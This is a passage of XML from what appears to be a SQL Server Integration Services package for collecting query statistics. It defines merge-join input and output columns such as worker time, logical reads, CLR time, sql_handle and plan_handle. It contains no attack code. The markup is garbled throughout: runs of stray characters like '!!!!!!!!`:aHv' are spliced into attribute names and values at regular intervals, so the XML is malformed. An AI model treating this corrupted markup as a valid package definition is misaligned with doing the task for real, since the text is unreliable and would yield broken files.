Output].Columns[max_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_worker_time]" name="max_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_worker_time]" name="min_worker_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_worker_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_physical_reads]" name="min_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_physical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_physical_reads]" name="max_physical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_physical_reads]}</property></properties></outputColumn><outputColumn refI	!!!!!!!!!!!!!!!!!!!!!!!!`:aHvd="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_writes]" name="min_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_writes]" name="max_logical_writes"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_logical_writes]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_logical_reads]" name="min_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_logical_reads]" name="max_logical_reads"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_logical_reads]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]" dataType="i8	!!!!!!!!!!!!!!!!!!!!!!!!`:u8JHv" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_clr_time]" name="min_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_clr_time]" name="max_clr_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_clr_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[min_elapsed_time]" name="min_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[min_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]" dataType="i8" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[max_elapsed_time]" name="max_elapsed_time"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[max_elapsed_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[collection_time]" name="collection_time"><properties><propert	!!!!!!!!!!!!!!!!!!!!!!!!`:ulHvy containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[collection_time]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[sql_handle]" name="sql_handle" sortKeyPosition="1"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[sql_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]" dataType="bytes" length="64" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[plan_handle]" name="plan_handle" sortKeyPosition="2"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_handle]}</property></properties></outputColumn><outputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]" dataType="i4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Outputs[Merge Join Output].Columns[snapshot_id]" name="snapshot_id"><properties><property containsID="true" dataType="System.Int32" description="The input column associated with this output column" name="InputColumnID">#{Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append current stats on interesting queries.Inputs[Merge Join Right Input].Columns[snapshot_id]}</property></properties></outputColumn></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries" componentClassID="{14D43A4F-D7BD-489D-829E-6DE35750CFE4}" contactInfo="Merge Join;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;1" description="Merges data from two datasets by using a join." name="MRG - Append last stats on interesting queries" version="1"><properties><property dataType="System.Int32" description="Specifies the type of join to perform." name="JoinType" typeConverter="JoinType">2</property><property dataType="System.Int32" d	!!!!!!!!!!!!!!!!!!!!!!!!`:u*SHvescription="Specifies the number of columns in the ordering key." name="NumKeyColumns">5</property><property dataType="System.Boolean" description="Indicates whether the null values are treated as equal values." name="TreatNullsAsEqual">true</property><property dataType="System.Int32" description="Indicates the requested maximum buffers per input before blocking." name="MaxBuffersPerInput">5</property></properties><inputs><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input]" hasSideEffects="true" name="Merge Join Left Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[creation_time]" cachedDataType="dbTimeStamp" cachedName="creation_time" linea	!!!!!!!!!!!!!!!!!!!!!!!!`:u!v2*HvgeId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[creation_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[last_execution_time]" cachedDataType="dbTimeStamp" cachedName="last_execution_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[last_execution_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[execution_count]" cachedDataType="i8" cachedName="execution_count" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[execution_count]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_logical_reads]" cachedDataType="i8" cachedName="total_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_clr_time]" cachedDataType="i8" cachedName="total_clr_time" lineageId="P	!!!!!!!!!!!!!!!!!!!!!!!!`:u%cHvackage\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[total_elapsed_time]" cachedDataType="i8" cachedName="total_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[total_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_worker_time]" cachedDataType="i8" cachedName="max_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_worker_time]" cachedDataType="i8" cachedName="min_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_physical_reads]" cachedDataType="i8" cachedName="min_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_physical_reads]" cachedDataType="i8" cachedName="max_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_logical_writes]" cachedDataType="i8" cachedName="min_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_logical_writes]" cachedDataType="i8" cachedName="max_logical_writes" lineageId="Package\SEQ - Capture and analyz	!!!!!!!!!!!!!!!!!!!!!!!!`:u)MHve query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_logical_reads]" cachedDataType="i8" cachedName="min_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_logical_reads]" cachedDataType="i8" cachedName="max_logical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_logical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_clr_time]" cachedDataType="i8" cachedName="min_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_clr_time]" cachedDataType="i8" cachedName="max_clr_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_clr_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[min_elapsed_time]" cachedDataType="i8" cachedName="min_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[min_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[max_elapsed_time]" cachedDataType="i8" cachedName="max_elapsed_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[max_elapsed_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[collection_time]" cachedDataType="dbTimeStamp" cachedName="collection_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Inte	!!!!!!!!!!!!!!!!!!!!!!!!`:u-;UHvresting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[collection_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Left Input].Columns[snapshot_id]" cachedDataType="i4" cachedName="snapshot_id" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\SRT - Add statement_start_offset, statement_end_offset and creation_time to the sort order.Outputs[Sort Output].Columns[snapshot_id]"/></inputColumns><externalMetadataColumns/></input><input refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input]" hasSideEffects="true" name="Merge Join Right Input"><inputColumns><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_start_offset]" cachedDataType="i4" cachedName="statement_start_offset" cachedSortKeyPosition="3" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_start_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[statement_end_offset]" cachedDataType="i4" cachedName="statement_end_offset" cachedSortKeyPosition="4" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[statement_end_offset]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_generation_num]" cachedDataType="i8" cachedName="plan_generation_num" cachedSortKeyPosition="5" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_generation_num]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[sql_handle]" cachedDataType="bytes" cachedLength="64" cachedName="sql_handle" cachedSortKeyPosition="1" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[sql_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[plan_handle]" cachedDataType="bytes" cachedLength="64" cachedName="plan_handle" cachedSortKeyPosition="2" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[plan_handle]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Inter	!!!!!!!!!!!!!!!!!!!!!!!!`:OYHvesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_worker_time]" cachedDataType="i8" cachedName="total_worker_time" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_worker_time]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_physical_reads]" cachedDataType="i8" cachedName="total_physical_reads" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_physical_reads]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_writes]" cachedDataType="i8" cachedName="total_logical_writes" lineageId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\RFS - Read last snapshot of dm_exec_query_stats.Outputs[Raw File Source Output].Columns[total_logical_writes]"/><inputColumn refId="Package\SEQ - Capture and analyze query statistics and query plan and text\DFT - Create Interesting Queries Upload Batch\MRG - Append last stats on interesting queries.Inputs[Merge Join Right Input].Columns[total_logical_reads]" cachedDataType="i8" 